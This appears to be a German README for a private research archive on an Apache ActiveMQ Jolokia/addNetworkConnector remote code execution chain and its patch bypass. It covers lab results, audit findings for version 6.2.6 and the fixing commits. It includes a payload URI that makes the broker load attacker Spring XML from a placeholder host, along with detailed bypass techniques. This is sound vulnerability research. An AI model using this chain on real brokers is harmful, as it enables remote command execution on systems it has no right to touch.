Privates Forschungsarchiv für die Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML Remote-Code-Execution-Kette (CVE-2026-34197 und deren Patch-Bypass CVE-2026-42588), plus ein vollständiges automatisches Forschungsaudit der behobenen Version 6.2.6 und ein direkter Vergleich mit Crowdfenses öffentlichem Bypass-Artikel.
Alle Exploitationen wurden gegen lokale Lab-Broker (Docker / selbst gehostet) durchgeführt. Payloads verwenden Platzhalter-Angreifer-Hosts.
Auto-Forschungsaudit der gehärteten 6.2.6: Abschlussbericht + Ergebnisliste
Quelltextbäume und Binärverteilungen des Herstellers, die während der Labore verwendet wurden, sind absichtlich ausgeschlossen (sie stammen vom Upstream, nicht von uns).
Die Schwachstelle in einem Satz
Ein authentifizierter (bei 6.0.0–6.1.1 unauthentifiziert über CVE-2024-32114) Jolokia-Aufrufer ruft BrokerView.addNetworkConnector(uri) mit einer manipulierten Discovery-URI auf, deren innerer vm://…?brokerConfig=xbean:<url> den Broker zwingt, ein angreifergesteuertes Spring-XML zu laden, das eifrig einen ProcessBuilder-Bean vor der Broker-Validierung instanziiert → Betriebssystem-Befehlsausführung.
root@kitploit:~
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Ergebnisse
Schlagzeile: Drei Ergebnisse sind live nachgewiesen für Root/XSS; das 6.2.6-Audit fügt eine breitere Menge hinzu, die quellenverifiziert und feindlich bewertet, aber noch nicht live detoniert ist. Keines der 6.2.6-Erweiterungen ist eine neue unauthentifizierte RCE – der Anbieter hat diese Türen geschlossen; das Restrisiko verlagerte sich auf Autorisierung und Ausgabekodierung.
Neue Ergebnisse aus dem 6.2.6-Audit (quellenverifiziert)
ID
Ergebnis
Klasse
Schweregrad
Authentifizierung
Anmerkungen
C1
static:Lücke in der Sperrliste → SSRF – static fehlt in DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → ausgehender Broker-TCP
SSRF
Mittel
Admin / JMX
Sink-Variante hinter derselben 34197/42588-Sperrliste, die der Artikel behandelt
B1
Cross-clientId-Löschung-IDOR bei dauerhaften Abonnements – removeSubscription verwendet die drahtgelieferte clientId und ist in AuthorizationBroker nicht abgesichert
Fehlerhafte Autorisierung / IDOR
Mittel
Nach Authentifizierung (vor Authentifizierung, wenn Broker-Auth aus)
Sauberstes neues Ergebnis
B3
LDAP leeres Passwort → anonymer Bind (LDAPLoginModule, keine Leerprüfung)
Authentifizierungsumgehung
Mittel (bedingt)
Vor Authentifizierung
Abhängig davon, dass das Verzeichnis anonyme Bindungen akzeptiert
A1–A7
Konsolen Ausgabekodierungs-Injektionsfamilie – angreifergesteuertes MessageId.textView (OpenWire v10+ & AMQP) nicht maskiert über ~7 JSP/REST-Senken + FileSystemBlobStrategy Pfad-Traversal
Injektion
Niedrig–Mittel
Produzent → Administrator
Standardmäßig durch CSP auf HTML/Content-Injektion beschränkt
Crowdfenses Apache ActiveMQ RCE Bypass behandelt die gleiche Kette (sie führen sie unter CVE-2026-34197; wir verfolgen den Bypass als eigenen CVE-2026-42588). Beide Darstellungen stimmen in einer dreischichtigen Verteidigung überein; die einzige Abweichung ist Schicht 2.
Layer
Verteidigung
Crowdfense umgeht es durch
Wir umgingen es durch
1
Schema Sperrliste (34197-Fix)
Composite ohne Klammern static:vm://…
Gleich – unabhängig gefunden ✅
2
xbean {file,classpath}Erlaubnisliste (#1910)
Prozentkodiertes file:%2f%2f… → Windows UNC → WebDAV → entfernter HTTP-Abruf
Lokale Dateixbean:/tmp/evil.xml (erfordert lokalen Schreibzugriff)
3
VMTransportFactorySchema-Gate (broker,properties, der 42588/6.2.6-Fix)
Als endgültig anerkannt
Gleiche Schlussfolgerung ✅
Die eine Lücke: Ihr Layer-2-Prozentkodierungs- + UNC/WebDAV-Trick erreicht eine vollständig entfernte Zustellung ohne lokale Schreibprimitive. Der Ausweichfehler, den er ausnutzt (activemq-spring/Utils.java:123-129, ein rohes startsWith("file://") auf dem unkodierten String) ist in unserem genauen Quellcode vorhanden – aber die entfernte Hälfte ist Windows-only (Linux behandelt //host/share als lokalen Pfad), und unser Labor war Linux, daher war es dort nicht ausführbar. Es ist auf 6.2.6 ohnehin tot (das VMTransportFactory Schema-Gate lehnt xbean ab, bevor Utils läuft).
Weiterführend: Ein Windows-gehostetes 5.19.6 (oder ein beliebiges Pre-5.19.7/6.2.6-Build) + SMB/WebDAV-Listener würde es uns ermöglichen, den vollständig entfernten Allow-List-Bypass zu demonstrieren – die einzige Fähigkeit, die der Artikel hat, die unser Engagement nicht gezeigt hat.
Fix (ActiveMQ 6.2.6)
Drei Commits schließen die Kette: c1b44af11 (Composite-URIs ohne Klammern validieren – parseComposite bedingungslos + rekursiv), c2fc7a1d6 (XBeanBrokerFactory standardmäßig über die VMTransportFactory-Schema-Erlaubnisliste blockieren) und be8415f24 (Beispielkonfigurationshärtung: Jolokia auf Loopback, Operationssperrliste mit addNetworkConnector).